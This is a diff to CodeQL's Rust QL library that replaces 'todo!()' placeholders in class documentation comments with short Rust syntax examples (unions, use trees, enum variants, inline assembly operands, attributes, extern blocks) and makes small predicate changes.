8358afe24296..34af89b587b5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends Generated::TypeParam { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll index a99b1a7574c1..17551c4834ed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Union module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends Generated::Union { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll index c2b158eeca06..d8f1ed985f31 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.UseBoundGenericArgs * be referenced directly. */ module Impl { + /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ class UseBoundGenericArgs extends Generated::UseBoundGenericArgs { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll index 7b99c609a464..a5baa18b81c0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll @@ -13,9 +13,9 @@ private import codeql.rust.elements.internal.generated.Use module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends Generated::Use { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 7e917268a726..027174e5994e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.UseTree module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll index eb4689c663dd..d5f86f1ba3a7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.UseTreeList */ module Impl { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` */ class UseTreeList extends Generated::UseTreeList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll index 9bb2029cd447..790186bf2c9f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll @@ -610,7 +610,7 @@ module Impl { exists(Expr mid | assignmentExprDescendant(mid) and getImmediateParent(e) = mid and - not mid.(PrefixExpr).getOperatorName() = "*" and + not mid instanceof DerefExpr and not mid instanceof FieldExpr and not mid instanceof IndexExpr ) diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll index 8af1d05edba0..d6b25b21e289 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll @@ -14,9 +14,12 @@ private import codeql.rust.elements.internal.generated.Variant module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends Generated::Variant { diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll index deff6d7d196d..2537307d34e1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.VariantList */ module Impl { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends Generated::VariantList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll index 0e7f79cd243e..21de0c88ca8c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Visibility */ module Impl { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends Generated::Visibility { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll index 40f01ae51cc8..aa916bbee56f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WhereClause */ module Impl { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends Generated::WhereClause { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll index 386a864eaf07..9f77b9c3c69d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WherePred */ module Impl { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends Generated::WherePred { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll index e41b6a684a1e..7271abca089f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.WhileExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends Generated::WhileExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll index f16f5ae4b312..0f1089c4284a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Abi` class directly. * Use the subclass `Abi`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll index cd5334aedded..c75d722e7938 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArgList` class directly. * Use the subclass `ArgList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll index f990c62beec4..c8e682937108 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArrayTypeRepr` class directly. * Use the subclass `ArrayTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll index 1c94b0accb3a..9a47d6081123 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll @@ -14,6 +14,14 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmClobberAbi` class directly. * Use the subclass `AsmClobberAbi`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll index 3b059400afe6..eb685ef2deb8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.Expr */ module Generated { /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmConst` class directly. * Use the subclass `AsmConst`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll index 868248966e6a..520e2d88ad66 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll @@ -14,6 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmDirSpec` class directly. * Use the subclass `AsmDirSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll index ac8e4d2c7239..83f756a4c984 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll @@ -20,7 +20,8 @@ module Generated { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` * INTERNAL: Do not reference the `Generated::AsmExpr` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll index e327ccd38da4..7d5f750f098c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll @@ -15,6 +15,17 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` * INTERNAL: Do not reference the `Generated::AsmLabel` class directly. * Use the subclass `AsmLabel`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll index 438b795b750e..5f5fd7ff09d1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.Expr */ module Generated { /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandExpr` class directly. * Use the subclass `AsmOperandExpr`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll index bf370e972f92..158acb3aa48d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll @@ -16,6 +16,14 @@ import codeql.rust.elements.Name */ module Generated { /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandNamed` class directly. * Use the subclass `AsmOperandNamed`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll index d226826bec05..9c3d309f3078 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll @@ -14,6 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOption` class directly. * Use the subclass `AsmOption`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll index ba21b8400141..de8f7bccb0f8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOptionsList` class directly. * Use the subclass `AsmOptionsList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll index 39516e748fd7..a294732fd96b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll @@ -17,6 +17,14 @@ import codeql.rust.elements.AsmRegSpec */ module Generated { /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegOperand` class directly. * Use the subclass `AsmRegOperand`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index e7ac536d4897..60f0c5803fe9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.NameRef */ module Generated { /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegSpec` class directly. * Use the subclass `AsmRegSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll index bc5800a093f7..269b6721eb1e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.Path */ module Generated { /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmSym` class directly. * Use the subclass `AsmSym`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll index aadca24997a5..d63e9824efd5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::AssocItem` class directly. * Use the subclass `AssocItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll index 4d6ab67d3d08..8a6dc5a43eda 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.Attr */ module Generated { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. * INTERNAL: Do not reference the `Generated::AssocItemList` class directly. * Use the subclass `AssocItemList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index 66f6637e685b..50e5fb32fe6e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -22,9 +22,17 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::AssocTypeArg` class directly. * Use the subclass `AssocTypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll index 00784693f7d2..351b77154e3d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.Meta */ module Generated { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` * INTERNAL: Do not reference the `Generated::Attr` class directly. * Use the subclass `Attr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll index 20c26e455c75..9bd04fd35817 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll @@ -15,9 +15,17 @@ import codeql.rust.elements.GenericParamList */ module Generated { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` * INTERNAL: Do not reference the `Generated::ClosureBinder` class directly. * Use the subclass `ClosureBinder`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll index d63e58f120b2..3ff3c77f04ed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Const` class directly. * Use the subclass `Const`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll index 153a4bc16b7f..d9a9ee1d8553 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.GenericArgImpl::Impl as GenericArgImpl */ module Generated { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` * INTERNAL: Do not reference the `Generated::ConstArg` class directly. * Use the subclass `ConstArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll index 3069e5bc63cf..c2268deec020 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ConstParam` class directly. * Use the subclass `ConstParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll index f3eac4f7766f..644b23f1a1ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll @@ -7,7 +7,6 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.LocatableImpl::Impl as LocatableImpl -import codeql.rust.elements.Module import codeql.rust.elements.internal.NamedCrate /** @@ -42,18 +41,6 @@ module Generated { */ final predicate hasVersion() { exists(this.getVersion()) } - /** - * Gets the module of this crate, if it exists. - */ - Module getModule() { - result = Synth::convertModuleFromRaw(Synth::convertCrateToRaw(this).(Raw::Crate).getModule()) - } - - /** - * Holds if `getModule()` exists. - */ - final predicate hasModule() { exists(this.getModule()) } - /** * Gets the `index`th cfg option of this crate (0-based). */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll index 3ba7a5e4997a..8e82d3f428c6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::DynTraitTypeRepr` class directly. * Use the subclass `DynTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll index 9c7c3bc331f1..ec5c97892f5f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` * INTERNAL: Do not reference the `Generated::Enum` class directly. * Use the subclass `Enum`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll index 823bf4173c4b..9b769440bd3b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl */ module Generated { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` * INTERNAL: Do not reference the `Generated::ExternBlock` class directly. * Use the subclass `ExternBlock`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll index f32f50b89d13..3484139b9fc2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll @@ -18,9 +18,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` * INTERNAL: Do not reference the `Generated::ExternCrate` class directly. * Use the subclass `ExternCrate`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll index 8756b7076084..09c6ed3bdeb2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItem` class directly. * Use the subclass `ExternItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll index bffae8deb81e..250fe549b52f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.ExternItem */ module Generated { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn 